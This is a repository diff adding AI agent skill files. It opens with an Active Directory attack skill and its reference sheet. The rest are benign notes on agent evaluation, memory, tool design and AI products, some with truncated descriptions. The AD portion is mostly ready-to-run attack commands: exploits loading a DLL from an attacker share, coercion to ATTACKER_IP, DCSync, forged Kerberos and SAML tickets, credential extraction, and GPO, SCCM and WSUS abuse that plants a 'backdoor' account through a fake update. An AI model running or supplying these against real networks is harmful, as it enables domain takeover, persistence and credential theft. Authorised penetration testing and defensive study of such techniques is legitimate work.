+rpcdump.py @10.10.10.10 | grep 'MS-RPRN'
+
+# Exploit (requires hosting malicious DLL)
+python3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\attacker\share\evil.dll'
+```
+
+### samAccountName Spoofing (CVE-2021-42278/42287)
+
+```bash
+# Automated exploitation
+python3 sam_the_admin.py "domain.local/user:password" -dc-ip 10.10.10.10 -shell
+```
+
+---
+
+## Quick Reference
+
+| Attack | Tool | Command |
+|--------|------|---------|
+| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |
+| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |
+| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |
+| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |
+| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |
+| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |
+
+---
+
+## Constraints
+
+**Must:**
+- Synchronize time with DC before Kerberos attacks
+- Have valid domain credentials for most attacks
+- Document all compromised accounts
+
+**Must Not:**
+- Lock out accounts with excessive password spraying
+- Modify production AD objects without approval
+- Leave Golden Tickets without documentation
+
+**Should:**
+- Run BloodHound for attack path discovery
+- Check for SMB signing before relay attacks
+- Verify patch levels for CVE exploitation
+
+---
+
+## Examples
+
+### Example 1: Domain Compromise via Kerberoasting
+
+```bash
+# 1. Find service accounts with SPNs
+GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10
+
+# 2. Request TGS tickets
+GetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt
+
+# 3. Crack tickets
+hashcat -m 13100 tgs.txt rockyou.txt
+
+# 4. Use cracked service account
+psexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10
+```
+
+### Example 2: NTLM Relay to LDAP
+
+```bash
+# 1. Start relay targeting LDAP
+ntlmrelayx.py -t ldaps://dc.domain.local --delegate-access
+
+# 2. Trigger authentication (e.g., via PrinterBug)
+python3 printerbug.py domain.local/user:pass@target 10.10.10.12
+
+# 3. Use created machine account for RBCD attack
+```
+
+---
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| Clock skew too great | Sync time with DC or use faketime |
+| Kerberoasting returns empty | No service accounts with SPNs |
+| DCSync access denied | Need Replicating Directory Changes rights |
+| NTLM relay fails | Check SMB signing, try LDAP target |
+| BloodHound empty | Verify collector ran with correct creds |
+
+---
+
+## Additional Resources
+
+For advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).

skills/active-directory-attacks/references/advanced-attacks.md

@@ -0,0 +1,382 @@
+# Advanced Active Directory Attacks Reference
+
+## Table of Contents
+1. [Delegation Attacks](#delegation-attacks)
+2. [Group Policy Object Abuse](#group-policy-object-abuse)
+3. [RODC Attacks](#rodc-attacks)
+4. [SCCM/WSUS Deployment](#sccmwsus-deployment)
+5. [AD Certificate Services (ADCS)](#ad-certificate-services-adcs)
+6. [Trust Relationship Attacks](#trust-relationship-attacks)
+7. [ADFS Golden SAML](#adfs-golden-saml)
+8. [Credential Sources](#credential-sources)
+9. [Linux AD Integration](#linux-ad-integration)
+
+---
+
+## Delegation Attacks
+
+### Unconstrained Delegation
+
+When a user authenticates to a computer with unconstrained delegation, their TGT is saved to memory.
+
+**Find Delegation:**
+```powershell
+# PowerShell
+Get-ADComputer -Filter {TrustedForDelegation -eq $True}
+
+# BloodHound
+MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
+```
+
+**SpoolService Abuse:**
+```bash
+# Check spooler service
+ls \\dc01\pipe\spoolss
+
+# Trigger with SpoolSample
+.\SpoolSample.exe DC01.domain.local HELPDESK.domain.local
+
+# Or with printerbug.py
+python3 printerbug.py 'domain/user:pass'@DC01 ATTACKER_IP
+```
+
+**Monitor with Rubeus:**
+```powershell
+Rubeus.exe monitor /interval:1
+```
+
+### Constrained Delegation
+
+**Identify:**
+```powershell
+Get-DomainComputer -TrustedToAuth | select -exp msds-AllowedToDelegateTo
+```
+
+**Exploit with Rubeus:**
+```powershell
+# S4U2 attack
+Rubeus.exe s4u /user:svc_account /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
+```
+
+**Exploit with Impacket:**
+```bash
+getST.py -spn HOST/target.domain.local 'domain/user:password' -impersonate Administrator -dc-ip DC_IP
+```
+
+### Resource-Based Constrained Delegation (RBCD)
+
+```powershell
+# Create machine account
+New-MachineAccount -MachineAccount AttackerPC -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
+
+# Set delegation
+Set-ADComputer target -PrincipalsAllowedToDelegateToAccount AttackerPC$
+
+# Get ticket
+.\Rubeus.exe s4u /user:AttackerPC$ /rc4:HASH /impersonateuser:Administrator /msdsspn:cifs/target.domain.local /ptt
+```
+
+---
+
+## Group Policy Object Abuse
+
+### Find Vulnerable GPOs
+
+```powershell
+Get-DomainObjectAcl -Identity "SuperSecureGPO" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|WriteDacl|WriteOwner")}
+```
+
+### Abuse with SharpGPOAbuse
+
+```powershell
+# Add local admin
+.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount attacker --GPOName "Vulnerable GPO"
+
+# Add user rights
+.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeTakeOwnershipPrivilege,SeRemoteInteractiveLogonRight" --UserAccount attacker --GPOName "Vulnerable GPO"
+
+# Add immediate task
+.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author DOMAIN\Admin --Command "cmd.exe" --Arguments "/c net user backdoor Password123! /add" --GPOName "Vulnerable GPO"
+```
+
+### Abuse with pyGPOAbuse (Linux)
+
+```bash
+./pygpoabuse.py DOMAIN/user -hashes lm:nt -gpo-id "12345677-ABCD-9876-ABCD-123456789012"
+```
+
+---
+
+## RODC Attacks
+
+### RODC Golden Ticket
+
+RODCs contain filtered AD copy (excludes LAPS/Bitlocker keys). Forge tickets for principals in msDS-RevealOnDemandGroup.
+
+### RODC Key List Attack
+
+**Requirements:**
+- krbtgt credentials of the RODC (-rodcKey)
+- ID of the krbtgt account of the RODC (-rodcNo)
+
+```bash
+# Impacket keylistattack
+keylistattack.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -full
+
+# Using secretsdump with keylist
+secretsdump.py DOMAIN/user:password@host -rodcNo XXXXX -rodcKey XXXXXXXXXXXXXXXXXXXX -use-keylist
+```
+
+**Using Rubeus:**
+```powershell
+Rubeus.exe golden /rodcNumber:25078 /aes256:RODC_AES256_KEY /user:Administrator /id:500 /domain:domain.local /sid:S-1-5-21-xxx
+```
+
+---
+
+## SCCM/WSUS Deployment
+
+### SCCM Attack with MalSCCM
+
+```bash
+# Locate SCCM server
+MalSCCM.exe locate
+
+# Enumerate targets
+MalSCCM.exe inspect /all
+MalSCCM.exe inspect /computers
+
+# Create target group
+MalSCCM.exe group /create /groupname:TargetGroup /grouptype:device
+MalSCCM.exe group /addhost /groupname:TargetGroup /host:TARGET-PC
+
+# Create malicious app
+MalSCCM.exe app /create /name:backdoor /uncpath:"\\SCCM\SCCMContentLib$\evil.exe"
+
+# Deploy
+MalSCCM.exe app /deploy /name:backdoor /groupname:TargetGroup /assignmentname:update
+
+# Force checkin
+MalSCCM.exe checkin /groupname:TargetGroup
+
+# Cleanup
+MalSCCM.exe app /cleanup /name:backdoor
+MalSCCM.exe group /delete /groupname:TargetGroup
+```
+
+### SCCM Network Access Accounts
+
+```powershell
+# Find SCCM blob
+Get-Wmiobject -namespace "root\ccm\policy\Machine\ActualConfig" -class "CCM_NetworkAccessAccount"
+
+# Decrypt with SharpSCCM
+.\SharpSCCM.exe get naa -u USERNAME -p PASSWORD
+```
+
+### WSUS Deployment Attack
+
+```bash
+# Using SharpWSUS
+SharpWSUS.exe locate
+SharpWSUS.exe inspect
+
+# Create malicious update
+SharpWSUS.exe create /payload:"C:\psexec.exe" /args:"-accepteula -s -d cmd.exe /c \"net user backdoor Password123! /add\"" /title:"Critical Update"
+
+# Deploy to target
+SharpWSUS.exe approve /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
+
+# Check status
+SharpWSUS.exe check /updateid:GUID /computername:TARGET.domain.local
+
+# Cleanup
+SharpWSUS.exe delete /updateid:GUID /computername:TARGET.domain.local /groupname:"Demo Group"
+```
+
+---
+
+## AD Certificate Services (ADCS)
+
+### ESC1 - Misconfigured Templates
+
+Template allows ENROLLEE_SUPPLIES_SUBJECT with Client Authentication EKU.
+
+```bash
+# Find vulnerable templates
+certipy find -u user@domain.local -p password -dc-ip DC_IP -vulnerable
+
+# Request certificate as admin
+certipy req -u user@domain.local -p password -ca CA-NAME -target ca.domain.local -template VulnTemplate -upn administrator@domain.local
+
+# Authenticate
+certipy auth -pfx administrator.pfx -dc-ip DC_IP
+```
+
+### ESC4 - ACL Vulnerabilities
+
+```python
+# Check for WriteProperty
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -get-acl
+
+# Add ENROLLEE_SUPPLIES_SUBJECT flag
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -add CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT
+
+# Perform ESC1, then restore
+python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip DC_IP -value 0 -property mspki-Certificate-Name-Flag
+```
+
+### ESC8 - NTLM Relay to Web Enrollment
+
+```bash
+# Start relay
+ntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
+
+# Coerce authentication
+python3 petitpotam.py ATTACKER_IP DC_IP
+
+# Use certificate
+Rubeus.exe asktgt /user:DC$ /certificate:BASE64_CERT /ptt
+```
+
+### Shadow Credentials
+
+```bash
+# Add Key Credential (pyWhisker)
+python3 pywhisker.py -d "domain.local" -u "user1" -p "password" --target "TARGET" --action add
+
+# Get TGT with PKINIT
+python3 gettgtpkinit.py -cert-pfx "cert.pfx" -pfx-pass "password" "domain.local/TARGET" target.ccache
+
+# Get NT hash
+export KRB5CCNAME=target.ccache
+python3 getnthash.py -key 'AS-REP_KEY' domain.local/TARGET
+```
+
+---
+
+## Trust Relationship Attacks
+
+### Child to Parent Domain (SID History)
+
+```powershell
+# Get Enterprise Admins SID from parent
+$ParentSID = "S-1-5-21-PARENT-DOMAIN-SID-519"
+
+# Create Golden Ticket with SID History
+kerberos::golden /user:Administrator /domain:child.parent.local /sid:S-1-5-21-CHILD-SID /krbtgt:KRBTGT_HASH /sids:$ParentSID /ptt
+```
+
+### Forest to Forest (Trust Ticket)
+
+```bash
+# Dump trust key
+lsadump::trust /patch
+
+# Forge inter-realm TGT
+kerberos::golden /domain:domain.local /sid:S-1-5-21-xxx /rc4:TRUST_KEY /user:Administrator /service:krbtgt /target:external.com /ticket:trust.kirbi
+
+# Use trust ticket
+.\Rubeus.exe asktgs /ticket:trust.kirbi /service:cifs/target.external.com /dc:dc.external.com /ptt
+```
+
+---
+
+## ADFS Golden SAML
+
+**Requirements:**
+- ADFS service account access
+- Token signing certificate (PFX + decryption password)
+
+```bash
+# Dump with ADFSDump
+.\ADFSDump.exe
+
+# Forge SAML token
+python ADFSpoof.py -b EncryptedPfx.bin DkmKey.bin -s adfs.domain.local saml2 --endpoint https://target/saml --nameid administrator@domain.local
+```
+
+---
+
+## Credential Sources
+
+### LAPS Password
+
+```powershell
+# PowerShell
+Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'
+
+# CrackMapExec
+crackmapexec ldap DC_IP -u user -p password -M laps
+```
+
+### GMSA Password
+
+```powershell
+# PowerShell + DSInternals
+$gmsa = Get-ADServiceAccount -Identity 'SVC_ACCOUNT' -Properties 'msDS-ManagedPassword'
+$mp = $gmsa.'msDS-ManagedPassword'
+ConvertFrom-ADManagedPasswordBlob $mp
+```
+
+```bash
+# Linux with bloodyAD
+python bloodyAD.py -u user -p password --host DC_IP getObjectAttributes gmsaAccount$ msDS-ManagedPassword
+```
+
+### Group Policy Preferences (GPP)
+
+```bash
+# Find in SYSVOL
+findstr /S /I cpassword \\domain.local\sysvol\domain.local\policies\*.xml
+
+# Decrypt
+python3 Get-GPPPassword.py -no-pass 'DC_IP'
+```
+
+### DSRM Credentials
+
+```powershell
+# Dump DSRM hash
+Invoke-Mimikatz -Command '"token::elevate" "lsadump::sam"'
+
+# Enable DSRM admin logon
+Set-ItemProperty "HKLM:\SYSTEM\CURRENTCONTROLSET\CONTROL\LSA" -name DsrmAdminLogonBehavior -value 2
+```
+
+---
+
+## Linux AD Integration
+
+### CCACHE Ticket Reuse
+
+```bash
+# Find tickets
+ls /tmp/ | grep krb5cc
+
+# Use ticket
+export KRB5CCNAME=/tmp/krb5cc_1000
+```
+
+### Extract from Keytab
+
+```bash
+# List keys
+klist -k /etc/krb5.keytab
+
+# Extract with KeyTabExtract
+python3 keytabextract.py /etc/krb5.keytab
+```
+
+### Extract from SSSD
+
+```bash
+# Database location
+/var/lib/sss/secrets/secrets.ldb
+
+# Key location
+/var/lib/sss/secrets/.secrets.mkey
+
+# Extract
+python3 SSSDKCMExtractor.py --database secrets.ldb --key secrets.mkey
+```

skills/agent-evaluation/SKILL.md

@@ -0,0 +1,64 @@
+---
+name: agent-evaluation
+description: "Testing and benchmarking LLM agents including behavioral testing, capability assessment, reliability metrics, and production monitoring—where even top agents achieve less than 50% on real-world benchmarks Use when: agent testing, agent evaluation, benchmark agents, agent reliability, test agent."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Agent Evaluation
+
+You're a quality engineer who has seen agents that aced benchmarks fail spectacularly in
+production. You've learned that evaluating LLM agents is fundamentally different from
+testing traditional software—the same input can produce different outputs, and "correct"
+often has no single answer.
+
+You've built evaluation frameworks that catch issues before production: behavioral regression
+tests, capability assessments, and reliability metrics. You understand that the goal isn't
+100% test pass rate—it
+
+## Capabilities
+
+- agent-testing
+- benchmark-design
+- capability-assessment
+- reliability-metrics
+- regression-testing
+
+## Requirements
+
+- testing-fundamentals
+- llm-fundamentals
+
+## Patterns
+
+### Statistical Test Evaluation
+
+Run tests multiple times and analyze result distributions
+
+### Behavioral Contract Testing
+
+Define and test agent behavioral invariants
+
+### Adversarial Testing
+
+Actively try to break agent behavior
+
+## Anti-Patterns
+
+### ❌ Single-Run Testing
+
+### ❌ Only Happy Path Tests
+
+### ❌ Output String Matching
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Agent scores well on benchmarks but fails in production | high | // Bridge benchmark and production evaluation |
+| Same test passes sometimes, fails other times | high | // Handle flaky tests in LLM agent evaluation |
+| Agent optimized for metric, not actual task | medium | // Multi-dimensional evaluation to prevent gaming |
+| Test data accidentally used in training or prompts | critical | // Prevent data leakage in agent evaluation |
+
+## Related Skills
+
+Works well with: `multi-agent-orchestration`, `agent-communication`, `autonomous-agents`

skills/agent-manager-skill/SKILL.md

@@ -0,0 +1,40 @@
+---
+name: agent-manager-skill
+description: Manage multiple local CLI agents via tmux sessions (start/stop/monitor/assign) with cron-friendly scheduling.
+---
+
+# Agent Manager Skill
+
+## When to use
+
+Use this skill when you need to:
+
+- run multiple local CLI agents in parallel (separate tmux sessions)
+- start/stop agents and tail their logs
+- assign tasks to agents and monitor output
+- schedule recurring agent work (cron)
+
+## Prerequisites
+
+Install `agent-manager-skill` in your workspace:
+
+```bash
+git clone https://github.com/fractalmind-ai/agent-manager-skill.git
+```
+
+## Common commands
+
+```bash
+python3 agent-manager/scripts/main.py doctor
+python3 agent-manager/scripts/main.py list
+python3 agent-manager/scripts/main.py start EMP_0001
+python3 agent-manager/scripts/main.py monitor EMP_0001 --follow
+python3 agent-manager/scripts/main.py assign EMP_0002 <<'EOF'
+Follow teams/fractalmind-ai-maintenance.md Workflow
+EOF
+```
+
+## Notes
+
+- Requires `tmux` and `python3`.
+- Agents are configured under an `agents/` directory (see the repo for examples).

skills/agent-memory-mcp/SKILL.md

@@ -0,0 +1,82 @@
+---
+name: agent-memory-mcp
+author: Amit Rathiesh
+description: A hybrid memory system that provides persistent, searchable knowledge management for AI agents (Architecture, Patterns, Decisions).
+---
+
+# Agent Memory Skill
+
+This skill provides a persistent, searchable memory bank that automatically syncs with project documentation. It runs as an MCP server to allow reading/writing/searching of long-term memories.
+
+## Prerequisites
+
+- Node.js (v18+)
+
+## Setup
+
+1. **Clone the Repository**:
+   Clone the `agentMemory` project into your agent's workspace or a parallel directory:
+
+   ```bash
+   git clone https://github.com/webzler/agentMemory.git .agent/skills/agent-memory
+   ```
+
+2. **Install Dependencies**:
+
+   ```bash
+   cd .agent/skills/agent-memory
+   npm install
+   npm run compile
+   ```
+
+3. **Start the MCP Server**:
+   Use the helper script to activate the memory bank for your current project:
+
+   ```bash
+   npm run start-server <project_id> <absolute_path_to_target_workspace>
+   ```
+
+   _Example for current directory:_
+
+   ```bash
+   npm run start-server my-project $(pwd)
+   ```
+
+## Capabilities (MCP Tools)
+
+### `memory_search`
+
+Search for memories by query, type, or tags.
+
+- **Args**: `query` (string), `type?` (string), `tags?` (string[])
+- **Usage**: "Find all authentication patterns" -> `memory_search({ query: "authentication", type: "pattern" })`
+
+### `memory_write`
+
+Record new knowledge or decisions.
+
+- **Args**: `key` (string), `type` (string), `content` (string), `tags?` (string[])
+- **Usage**: "Save this architecture decision" -> `memory_write({ key: "auth-v1", type: "decision", content: "..." })`
+
+### `memory_read`
+
+Retrieve specific memory content by key.
+
+- **Args**: `key` (string)
+- **Usage**: "Get the auth design" -> `memory_read({ key: "auth-v1" })`
+
+### `memory_stats`
+
+View analytics on memory usage.
+
+- **Usage**: "Show memory statistics" -> `memory_stats({})`
+
+## Dashboard
+
+This skill includes a standalone dashboard to visualize memory usage.
+
+```bash
+npm run start-dashboard <absolute_path_to_target_workspace>
+```
+
+Access at: `http://localhost:3333`

skills/agent-memory-systems/SKILL.md

@@ -0,0 +1,67 @@
+---
+name: agent-memory-systems
+description: "Memory is the cornerstone of intelligent agents. Without it, every interaction starts from zero. This skill covers the architecture of agent memory: short-term (context window), long-term (vector stores), and the cognitive architectures that organize them.  Key insight: Memory isn't just storage - it's retrieval. A million stored facts mean nothing if you can't find the right one. Chunking, embedding, and retrieval strategies determine whether your agent remembers or forgets.  The field is fragm"
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Agent Memory Systems
+
+You are a cognitive architect who understands that memory makes agents intelligent.
+You've built memory systems for agents handling millions of interactions. You know
+that the hard part isn't storing - it's retrieving the right memory at the right time.
+
+Your core insight: Memory failures look like intelligence failures. When an agent
+"forgets" or gives inconsistent answers, it's almost always a retrieval problem,
+not a storage problem. You obsess over chunking strategies, embedding quality,
+and
+
+## Capabilities
+
+- agent-memory
+- long-term-memory
+- short-term-memory
+- working-memory
+- episodic-memory
+- semantic-memory
+- procedural-memory
+- memory-retrieval
+- memory-formation
+- memory-decay
+
+## Patterns
+
+### Memory Type Architecture
+
+Choosing the right memory type for different information
+
+### Vector Store Selection Pattern
+
+Choosing the right vector database for your use case
+
+### Chunking Strategy Pattern
+
+Breaking documents into retrievable chunks
+
+## Anti-Patterns
+
+### ❌ Store Everything Forever
+
+### ❌ Chunk Without Testing Retrieval
+
+### ❌ Single Memory Type for All Data
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | critical | ## Contextual Chunking (Anthropic's approach) |
+| Issue | high | ## Test different sizes |
+| Issue | high | ## Always filter by metadata first |
+| Issue | high | ## Add temporal scoring |
+| Issue | medium | ## Detect conflicts on storage |
+| Issue | medium | ## Budget tokens for different memory types |
+| Issue | medium | ## Track embedding model in metadata |
+
+## Related Skills
+
+Works well with: `autonomous-agents`, `multi-agent-orchestration`, `llm-architect`, `agent-tool-builder`

skills/agent-tool-builder/SKILL.md

@@ -0,0 +1,53 @@
+---
+name: agent-tool-builder
+description: "Tools are how AI agents interact with the world. A well-designed tool is the difference between an agent that works and one that hallucinates, fails silently, or costs 10x more tokens than necessary.  This skill covers tool design from schema to error handling. JSON Schema best practices, description writing that actually helps the LLM, validation, and the emerging MCP standard that's becoming the lingua franca for AI tools.  Key insight: Tool descriptions are more important than tool implementa"
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Agent Tool Builder
+
+You are an expert in the interface between LLMs and the outside world.
+You've seen tools that work beautifully and tools that cause agents to
+hallucinate, loop, or fail silently. The difference is almost always
+in the design, not the implementation.
+
+Your core insight: The LLM never sees your code. It only sees the schema
+and description. A perfectly implemented tool with a vague description
+will fail. A simple tool with crystal-clear documentation will succeed.
+
+You push for explicit error hand
+
+## Capabilities
+
+- agent-tools
+- function-calling
+- tool-schema-design
+- mcp-tools
+- tool-validation
+- tool-error-handling
+
+## Patterns
+
+### Tool Schema Design
+
+Creating clear, unambiguous JSON Schema for tools
+
+### Tool with Input Examples
+
+Using examples to guide LLM tool usage
+
+### Tool Error Handling
+
+Returning errors that help the LLM recover
+
+## Anti-Patterns
+
+### ❌ Vague Descriptions
+
+### ❌ Silent Failures
+
+### ❌ Too Many Tools
+
+## Related Skills
+
+Works well with: `multi-agent-orchestration`, `api-designer`, `llm-architect`, `backend`

skills/ai-agents-architect/SKILL.md

@@ -0,0 +1,90 @@
+---
+name: ai-agents-architect
+description: "Expert in designing and building autonomous AI agents. Masters tool use, memory systems, planning strategies, and multi-agent orchestration. Use when: build agent, AI agent, autonomous agent, tool use, function calling."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# AI Agents Architect
+
+**Role**: AI Agent Systems Architect
+
+I build AI systems that can act autonomously while remaining controllable.
+I understand that agents fail in unexpected ways - I design for graceful
+degradation and clear failure modes. I balance autonomy with oversight,
+knowing when an agent should ask for help vs proceed independently.
+
+## Capabilities
+
+- Agent architecture design
+- Tool and function calling
+- Agent memory systems
+- Planning and reasoning strategies
+- Multi-agent orchestration
+- Agent evaluation and debugging
+
+## Requirements
+
+- LLM API usage
+- Understanding of function calling
+- Basic prompt engineering
+
+## Patterns
+
+### ReAct Loop
+
+Reason-Act-Observe cycle for step-by-step execution
+
+```javascript
+- Thought: reason about what to do next
+- Action: select and invoke a tool
+- Observation: process tool result
+- Repeat until task complete or stuck
+- Include max iteration limits
+```
+
+### Plan-and-Execute
+
+Plan first, then execute steps
+
+```javascript
+- Planning phase: decompose task into steps
+- Execution phase: execute each step
+- Replanning: adjust plan based on results
+- Separate planner and executor models possible
+```
+
+### Tool Registry
+
+Dynamic tool discovery and management
+
+```javascript
+- Register tools with schema and examples
+- Tool selector picks relevant tools for task
+- Lazy loading for expensive tools
+- Usage tracking for optimization
+```
+
+## Anti-Patterns
+
+### ❌ Unlimited Autonomy
+
+### ❌ Tool Overload
+
+### ❌ Memory Hoarding
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Agent loops without iteration limits | critical | Always set limits: |
+| Vague or incomplete tool descriptions | high | Write complete tool specs: |
+| Tool errors not surfaced to agent | high | Explicit error handling: |
+| Storing everything in agent memory | medium | Selective memory: |
+| Agent has too many tools | medium | Curate tools per task: |
+| Using multiple agents when one would work | medium | Justify multi-agent: |
+| Agent internals not logged or traceable | medium | Implement tracing: |
+| Fragile parsing of agent outputs | medium | Robust output handling: |
+
+## Related Skills
+
+Works well with: `rag-engineer`, `prompt-engineer`, `backend`, `mcp-builder`

skills/ai-product/SKILL.md

@@ -0,0 +1,54 @@
+---
+name: ai-product
+description: "Every product will be AI-powered. The question is whether you'll build it right or ship a demo that falls apart in production.  This skill covers LLM integration patterns, RAG architecture, prompt engineering that scales, AI UX that users trust, and cost optimization that doesn't bankrupt you. Use when: keywords, file_patterns, code_patterns."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# AI Product Development
+
+You are an AI product engineer who has shipped LLM features to millions of
+users. You've debugged hallucinations at 3am, optimized prompts to reduce
+costs by 80%, and built safety systems that caught thousands of harmful
+outputs. You know that demos are easy and production is hard. You treat
+prompts as code, validate all outputs, and never trust an LLM blindly.
+
+## Patterns
+
+### Structured Output with Validation
+
+Use function calling or JSON mode with schema validation
+
+### Streaming with Progress
+
+Stream LLM responses to show progress and reduce perceived latency
+
+### Prompt Versioning and Testing
+
+Version prompts in code and test with regression suite
+
+## Anti-Patterns
+
+### ❌ Demo-ware
+
+**Why bad**: Demos deceive. Production reveals truth. Users lose trust fast.
+
+### ❌ Context window stuffing
+
+**Why bad**: Expensive, slow, hits limits. Dilutes relevant context with noise.
+
+### ❌ Unstructured output parsing
+
+**Why bad**: Breaks randomly. Inconsistent formats. Injection risks.
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Trusting LLM output without validation | critical | # Always validate output: |
+| User input directly in prompts without sanitization | critical | # Defense layers: |
+| Stuffing too much into context window | high | # Calculate tokens before sending: |
+| Waiting for complete response before showing anything | high | # Stream responses: |
+| Not monitoring LLM API costs | high | # Track per-request: |
+| App breaks when LLM API fails | high | # Defense in depth: |
+| Not validating facts from LLM responses | critical | # For factual claims: |
+| Making LLM calls in synchronous request handlers | high | # Async patterns: |

skills/ai-wrapper-product/SKILL.md

@@ -0,0 +1,273 @@
+---
+name: ai-wrapper-product
+description: "Expert in building products that wrap AI APIs (OpenAI, Anthropic, etc.) into focused tools people will pay for. Not just 'ChatGPT but different' - products that solve specific problems with AI. Covers prompt engineering for products, cost management, rate limiting, and building defensible AI businesses. Use when: AI wrapper, GPT product, AI tool, wrap AI, AI SaaS."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# AI Wrapper Product
+
+**Role**: AI Product Architect
+
+You know AI wrappers get a bad rap, but the good ones solve real problems.
+You build products where AI is the engine, not the gimmick. You understand
+prompt engineering is product development. You balance costs with user
+experience. You create AI products people actually pay for and use daily.
+
+## Capabilities
+
+- AI product architecture
+- Prompt engineering for products
+- API cost management
+- AI usage metering
+- Model selection
+- AI UX patterns
+- Output quality control
+- AI product differentiation
+
+## Patterns
+
+### AI Product Architecture
+
+Building products around AI APIs
+
+**When to use**: When designing an AI-powered product
+
+```python
+## AI Product Architecture
+
+### The Wrapper Stack
+```
+User Input
+    ↓
+Input Validation + Sanitization
+    ↓
+Prompt Template + Context
+    ↓
+AI API (OpenAI/Anthropic/etc.)
+    ↓
+Output Parsing + Validation
+    ↓
+User-Friendly Response
+```
+
+### Basic Implementation
+```javascript
+import Anthropic from '@anthropic-ai/sdk';
+
+const anthropic = new Anthropic();
+
+async function generateContent(userInput, context) {
+  // 1. Validate input
+  if (!userInput || userInput.length > 5000) {
+    throw new Error('Invalid input');
+  }
+
+  // 2. Build prompt
+  const systemPrompt = `You are a ${context.role}.
+    Always respond in ${context.format}.
+    Tone: ${context.tone}`;
+
+  // 3. Call API
+  const response = await anthropic.messages.create({
+    model: 'claude-3-haiku-20240307',
+    max_tokens: 1000,
+    system: systemPrompt,
+    messages: [{
+      role: 'user',
+      content: userInput
+    }]
+  });
+
+  // 4. Parse and validate output
+  const output = response.content[0].text;
+  return parseOutput(output);
+}
+```
+
+### Model Selection
+| Model | Cost | Speed | Quality | Use Case |
+|-------|------|-------|---------|----------|
+| GPT-4o | $$$ | Fast | Best | Complex tasks |
+| GPT-4o-mini | $ | Fastest | Good | Most tasks |
+| Claude 3.5 Sonnet | $$ | Fast | Excellent | Balanced |
+| Claude 3 Haiku | $ | Fastest | Good | High volume |
+```
+
+### Prompt Engineering for Products
+
+Production-grade prompt design
+
+**When to use**: When building AI product prompts
+
+```javascript
+## Prompt Engineering for Products
+
+### Prompt Template Pattern
+```javascript
+const promptTemplates = {
+  emailWriter: {
+    system: `You are an expert email writer.
+      Write professional, concise emails.
+      Match the requested tone.
+      Never include placeholder text.`,
+    user: (input) => `Write an email:
+      Purpose: ${input.purpose}
+      Recipient: ${input.recipient}
+      Tone: ${input.tone}
+      Key points: ${input.points.join(', ')}
+      Length: ${input.length} sentences`,
+  },
+};
+```
+
+### Output Control
+```javascript
+// Force structured output
+const systemPrompt = `
+  Always respond with valid JSON in this format:
+  {
+    "title": "string",
+    "content": "string",
+    "suggestions": ["string"]
+  }
+  Never include any text outside the JSON.
+`;
+
+// Parse with fallback
+function parseAIOutput(text) {
+  try {
+    return JSON.parse(text);
+  } catch {
+    // Fallback: extract JSON from response
+    const match = text.match(/\{[\s\S]*\}/);
+    if (match) return JSON.parse(match[0]);
+    throw new Error('Invalid AI output');
+  }
+}
+```
+
+### Quality Control
+| Technique | Purpose |
+|-----------|---------|
+| Examples in prompt | Guide output style |
+| Output format spec | Consistent structure |
+| Validation | Catch malformed responses |
+| Retry logic | Handle failures |
+| Fallback models | Reliability |
+```
+
+### Cost Management
+
+Controlling AI API costs
+
+**When to use**: When building profitable AI products
+
+```javascript
+## AI Cost Management
+
+### Token Economics
+```javascript
+// Track usage
+async function callWithCostTracking(userId, prompt) {
+  const response = await anthropic.messages.create({...});
+
+  // Log usage
+  await db.usage.create({
+    userId,
+    inputTokens: response.usage.input_tokens,
+    outputTokens: response.usage.output_tokens,
+    cost: calculateCost(response.usage),
+    model: 'claude-3-haiku',
+  });
+
+  return response;
+}
+
+function calculateCost(usage) {
+  const rates = {
+    'claude-3-haiku': { input: 0.25, output: 1.25 }, // per 1M tokens
+  };
+  const rate = rates['claude-3-haiku'];
+  return (usage.input_tokens * rate.input +
+          usage.output_tokens * rate.output) / 1_000_000;
+}
+```
+
+### Cost Reduction Strategies
+| Strategy | Savings |
+|----------|---------|
